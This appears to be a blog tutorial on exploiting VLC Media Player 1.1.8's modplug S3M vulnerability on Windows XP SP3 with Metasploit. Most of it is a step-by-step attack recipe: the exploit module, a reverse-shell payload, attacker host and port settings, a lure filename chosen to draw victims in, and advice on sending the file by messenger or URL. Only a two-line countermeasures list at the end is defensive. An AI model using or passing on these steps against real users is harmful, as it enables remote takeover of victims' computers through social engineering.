VLC Media Player 1.1.8 modplug_s3m Exploit (Windows XP SP3)

Type : Tutorial

Level : Medium

Victim O.S : Windows XP SP3

Victim VLC Version : 1.1.8

Just surfing around and found that VLC 1.1.8 have vulnerability that can be exploited. If you still didn't know about VLC media player, here I copy from their original website videolan.org:

VLC is a free and open source cross-platform multimedia player and framework that plays most multimedia files as well as DVD, Audio CD, VCD, and various streaming protocols.

this exploit we will perform using Metasploit framework, and according to metasploit.com website about this vulnerability :

This module exploits an input validation error in libmod_plugin as included with VideoLAN VLC 1.1.8. All versions prior to version 1.1.9 are affected. By creating a malicious S3M file, a remote attacker could execute arbitrary code. Although other products that bundle libmodplug may be vulnerable, this module was only tested against VLC.

Requirements :

1. Metasploit Framework

2. Operating System(I'm using Backtrack 5 R1 in this tutorial and Metasploit Framework already included inside)

Step By Step :

1. Open your metasploit console by typing msfconsole and then use the vlc_modplug_s3m exploit with windows meterpreter payload.

use exploit/windows/fileformat/vlc_modplug_s3m

set payload windows/shell_reverse_tcp

2. To view the available options, you can run show options command. I've set up my malicious s3m file with the configuration like the picture below.

Information :

set filename sora-aoi.s3m --> social engineering filename in order to make victim curious

set lhost 192.168.8.92 --> your localhost / attacker machine

set lport 443 --> your local port / attacker local port

/root/.msf4/data/exploits/sora-aoi.s3m --> malicious file location. copy the file and
send it to your victim

3. The next step before we send the malicious s3m file we should set up a listener to grab connection when victim opened the malicious s3m file in their VLC media player.

4. Everything has been set up so nice until this way, the next step we need to send the s3m file to our victim. You can send the file via messenger, url, or anything…improve yourself..

5. After victim opened our malicious s3m file, we got the shell_reverse_tcp payload as shown below.

Countermeasures :

1. Always update your software to the latest version

2. Install personal firewall

Hope it's useful